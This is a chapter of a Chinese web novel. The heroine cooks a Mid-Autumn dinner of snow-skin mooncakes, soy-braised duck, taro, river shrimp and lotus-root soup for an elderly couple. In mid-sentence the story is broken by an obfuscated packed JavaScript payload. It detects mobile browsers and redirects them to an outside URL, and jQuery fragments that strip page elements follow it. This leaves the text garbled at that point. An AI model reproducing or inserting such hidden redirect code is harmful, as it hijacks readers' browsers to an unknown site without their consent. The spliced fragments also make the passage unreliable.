中秋佳节，行人匆匆赶回家中，只为与家人吃个团圆饭。


    顾宛央拎了两个食盒从随心小食肆中出来，李瑾修和郑奎回家了，小桃也会城西村了，顾宛央没有跟着小桃一起回去，今天她要跟陈大爷和陈大娘一起过节，因为陈大娘提前好些天就跟她说了，今年中秋来家里过。


    说起来顾宛央心中有些愧疚，开食肆这么久了，都没好好招待过陈家二老，每天食肆都是爆满，二老也很能理解，所以从不来打扰她，所以趁着中秋节顾宛央打算给两位老人做些月饼做顿饭，陪陪他们，自己心中也是个慰藉，当是陪自己的父母。


    顾宛央敲响了陈大娘家的门，她提起其中一只手上食盒笑道：“我带了自己做的月饼，你们要不要先尝尝？”


    “好，好。”陈大娘一见到顾宛央，脸上的笑容就止不住，她实在喜欢这个姑娘，一开始还是因为顾宛央长得跟自己女儿有几分相似，但相处久了以后已经不是因为这个原因了，而是真正地疼爱上了这个叫顾宛央的姑娘。


    陈大爷和陈大娘都相信，这是上天的垂怜，让他们两个一生行善的人，得到应有的福报，晚年不再孤独凄凉，能有一个这么好的姑娘陪伴他们，他们对顾宛央真心相待，顾宛央也是发自内心地与他们亲近，这是求都求不来的缘分。


    所以今天趁着过节，陈大娘和陈大爷商量好了，要跟顾宛央说一件大事。


    “大娘，你怎么了？”顾宛央的手在陈大娘面前挥了挥，打断了陈大娘的思绪。


    “没，没事呢，呀，这月饼做的真漂亮啊。”陈大娘缓过神来，瞧着顾宛央刚刚打开的食盒，欣喜地说道。


    “咦？这月饼跟我们平时吃的不太一样啊？”陈大爷的视线也转到食盒中，惊讶地说道。


    “对呀，这是冰皮月饼，这几天在食肆中出售，卖的非常好呢。”顾宛央笑着说道，常规月饼没什么好卖的，不如做些大家没见过又好吃的，果然销量非常好，每日必售罄。


    “这月饼长得真好看，小巧精致，关键还是各种各样的颜色，这是怎么做到的。”陈大爷好奇地问道。


    “常见的月饼是用面粉做的，冰皮月饼主要是用糯米做成的，所以表皮呈白色半透明状，那包在里面的馅是什么颜色，自然就会显现出什么颜色。”顾宛央耐心地解释道。


    “原来如此，宛央，你真是巧手巧心啊。”陈大娘眼中流露出赞赏的神色，这姑娘当真是聪明又灵巧。


    “不过，冰皮月饼虽然好吃又好看，但保存时间不能跟传统月饼比，一般做出来后三天就得吃完，所以呀，你们这两天尽管吃，别放着不舍得吃。”顾宛央细细地交待，年纪大的人都喜欢藏东西，好东西更是会藏起来不舍得吃。


    陈大爷和陈大娘连连点头，说道：“我们现在就尝。”


    说完，两人一人拿了一个冰皮月饼吃了起来，软糯的外皮加上香甜的馅料，从来没吃到过这样的口感，陈大爷和陈大娘面露惊讶，真是太好吃了，顾宛央做的也不是很甜，但就是有一种很香甜的感觉，又不像别的月饼那般甜的齁嗓子。


    顾宛央看着两位老人吃得很香，心中顿觉安慰，她已经把陈家二老当成自己父母看待了。


    等两位老人吃完冰皮月饼，陈大娘小心翼翼地盖上食盒收了起来。


    顾宛央忍不住又提醒道：“你们别忘了这两天要吃完哦，不能久放，吃完了再来找我，我这段时间都会做这个冰皮月饼的。”


    陈大娘连连点头，但顾宛央知道她肯定不会来找自己拿的，生怕打扰她做生意，这跟自己的父母简直一模一样，从来都是报喜不报忧，生个病什么的从来都不告诉她，生怕影响她工作。


    “大娘，我得做饭去了，对了，这个食盒是带给鲁夫人的，等吃完饭我给她送去。”顾宛央指着另一个食盒说道。


    “给鲁夫人啊？那正好，不用送去，她下午会来咱家。”陈大娘随口说了一句。


    “好，那正好让她带回去。”顾宛央也没多想，过节互相串个门也很正常。


    顾宛央走进厨房，她在这个厨房也做了好几次的饭了，对里面的东西熟门熟路，陈大娘再三关照不要带菜过来，她会准备好食材，顾宛央正好也省了心，有什么食材就做什么。


    陈大娘也跟着进了厨房，指着桌上的食材说道：“这只鸭子是早上在集市买的现杀的，新鲜的很，按你喜欢的味道做就行，我跟你大爷都喜欢吃。”


    顾宛央点头，中秋节要吃鸭子，这是传统。


    “还买了些芋艿，莲藕，排骨，还有些河虾，这里还有鸡蛋，院子里的小菜园蔬菜随便摘。”陈大娘心疼地说道，“也别做太多菜，我们三个人做四菜一汤就行了，做多了又吃不了，你又很辛苦。”


    “嗯，好呢，我就着这些食材做，你们在外面等我就好。”顾宛央还是将陈大娘撵了出去，自己一个人做起来自在些。


    “记着简单做一做就行啊，别搞得太复杂了，今天好容易能休息。”陈大娘一边往外走，一边还是不放心地叮嘱道。


    “放心吧，大娘，我不会为难自己的。”顾宛央笑着应道，在食肆做菜那是工作是挣钱，但在家里做饭给亲朋好友吃，那才是真正的享受，她一点都不觉得辛苦。


    看着新鲜的食材，顾宛央打算做个酱鸭、葱油芋艿、清炒河虾、再炒个绿叶菜，汤就做个排骨莲藕汤，这样一来四菜一汤就齐全了，而且都是时令的菜，也都是中秋节必吃的菜品。


    酱鸭和汤要花些时间，其他三个菜炒起来都很快，所以顾宛央先将鸭子处理干净，煮上一大锅水放入葱姜料酒给鸭子焯水，焯完水后，将起锅放少许油烧热后，把葱姜和八角桂皮炒香，再加入料酒、酱油、盐和糖调


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059360|158165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    味，再加入烧开的开水入锅，把鸭子放进去整个都没进水中，把灶火减成小火，盖上锅盖慢慢熬煮入味。


    接着顾宛央开始处理排骨和莲藕，排骨焯完水后便可以放入锅中炖煮，莲藕稍晚一些时候再放下去即可，酱鸭和排骨汤虽然做的时间要长一些，但还算是比较简单的。


    将两个大菜上锅炖煮后，顾宛央这才笃悠悠地开始收拾剩下的三道菜。


    芋艿洗干净连皮放入锅中煮，煮熟后捞出来将皮剥掉备用，剥了皮的小芋艿白白净净的，顾宛央忍不住吃了一个，嗯，非常软糯而且带着清甜的味道，她发现自从来到了这个年代，所有的食材都是很自然的味道，虽然卖相可能不太漂亮，但吃口却是非常的好。


    河虾没什么要处理的，虽然个头小小的，但是个个都是活蹦乱跳，养在盆中还得找个板盖住才行，不然早就蹦了一地。


    绿叶菜是菜地里摘得小青菜，这个年代也没有打药什么的，简单清洗一下就行了。


    等顾宛央备完菜，酱鸭锅里的汤汁已经下去了一半，顾宛央将锅盖揭开，用汤勺将酱鸭旁边的汤汁舀起来从上往下浇了起来，随着汤汁慢慢收干，锅中的酱鸭呈现酱红色且油亮光泽，散发着诱人的香味，等到锅中的汤汁只剩少许时，顾宛央将整只酱鸭盛了出来，打算晾凉后再切成块。


    另一个灶台的排骨汤也差不多好了，莲藕已经放进去煮了不少时间了，清香味和肉香味融合在了一起，锅中的汤色乳白，面上飘着些许油花，顾宛央将备好的一把香葱扔了进去，顿时香气四溢。


    顾宛央将排骨汤端出来，准备开始炒菜。


    河虾已经洗干净晾干，起油锅后，只需将葱姜下入锅中爆香，便可将河虾倒入锅中翻炒，新鲜的食材只需简单的烹饪，顾宛央算是体会到这句话的道理！


    河虾在大火的烹饪下浑身变了颜色，红红的虾身散发出清新的鲜香味，顾宛央快速加入些许盐继续翻炒，翻炒十几下后便可出锅了。


    清炒出来的河虾鲜味十足，原汁原味更能尝出食材本身的味道。


    葱油芋艿也非常简单，起锅烧油后葱段扔进去爆香，接着便可以把切好的芋艿加入锅中翻炒，因为芋艿是煮熟的，所以只需加入些许清水略煮一下，然后加入些许盐调味，翻炒均匀后在撒上一把葱末便可以出锅了。


    起锅的葱油芋艿白绿相间，葱香味十足，加上芋艿的清香，顾宛央不由咽了口口水。


    最后一道小青菜更是简单，油热下锅爆炒，翻炒断生便可盛出，这可是纯天然种植出来的小青菜，口感脆嫩清甜，顾宛央非常喜欢吃。


    顾宛央把菜全部炒完，接着开始剁酱鸭，酱鸭已经凉了下来，顾宛央熟练地挥起菜刀，快速又准确地下刀，没多久便将一整只酱鸭剁成了一小块一小块，再将剁好的酱油摆盘，今天这四菜一汤就完工了。